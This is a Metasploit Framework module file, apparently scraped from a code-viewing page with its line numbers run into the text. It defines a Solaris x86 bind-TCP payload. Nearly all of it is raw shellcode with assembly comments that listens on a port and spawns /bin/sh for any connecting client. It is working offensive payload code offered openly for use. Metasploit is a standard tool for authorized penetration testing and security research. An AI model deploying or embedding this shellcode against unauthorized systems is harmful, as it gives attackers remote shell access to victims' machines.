Path: blob/master/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9578include Msf::Payload::Single9include Msf::Payload::Solaris10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Solaris Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'Ramon de C Valle',19'License' => MSF_LICENSE,20'Platform' => 'solaris',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LPORT' => [ 20, 'n' ]28},29'Payload' =>30"\x68\xff\xd8\xff\x3c" + # pushl $0x3cffd8ff #31"\x6a\x65" + # pushl $0x65 #32"\x89\xe6" + # movl %esp,%esi #33"\xf7\x56\x04" + # notl 0x04(%esi) #34"\xf6\x16" + # notb (%esi) #35"\x31\xc0" + # xorl %eax,%eax #36"\x50" + # pushl %eax #37"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #38"\x89\xe7" + # movl %esp,%edi #39"\x6a\x02" + # pushl $0x02 #40"\x50" + # pushl %eax #41"\x50" + # pushl %eax #42"\x6a\x02" + # pushl $0x02 #43"\x6a\x02" + # pushl $0x02 #44"\xb0\xe6" + # movb $0xe6,%al #45"\xff\xd6" + # call *%esi #46"\x6a\x10" + # pushl $0x10 #47"\x57" + # pushl %edi #48"\x50" + # pushl %eax #49"\x31\xc0" + # xorl %eax,%eax #50"\xb0\xe8" + # movb $0xe8,%al #51"\xff\xd6" + # call *%esi #52"\x5b" + # popl %ebx #53"\x50" + # pushl %eax #54"\x50" + # pushl %eax #55"\x53" + # pushl %ebx #56"\xb0\xe9" + # movb $0xe9,%al #57"\xff\xd6" + # call *%esi #58"\xb0\xea" + # movb $0xea,%al #59"\xff\xd6" + # call *%esi #60"\x6a\x09" + # pushl $0x09 #61"\x50" + # pushl %eax #62"\x6a\x3e" + # pushl $0x3e #63"\x58" + # popl %eax #64"\xff\xd6" + # call *%esi #65"\xff\x4f\xd8" + # decl -0x28(%edi) #66"\x79\xf6" + # jns <bndsockcode+61> #67"\x50" + # pushl %eax #68"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #69"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #70"\x89\xe3" + # movl %esp,%ebx #71"\x50" + # pushl %eax #72"\x53" + # pushl %ebx #73"\x89\xe1" + # movl %esp,%ecx #74"\x50" + # pushl %eax #75"\x51" + # pushl %ecx #76"\x53" + # pushl %ebx #77"\xb0\x3b" + # movb $0x3b,%al #78"\xff\xd6" # call *%esi #79}80)81)82end83end848586